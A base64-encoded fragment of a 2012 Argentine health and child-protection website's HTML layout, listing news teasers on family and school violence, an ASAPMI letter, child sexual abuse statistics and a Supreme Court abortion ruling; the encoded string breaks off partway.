ICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i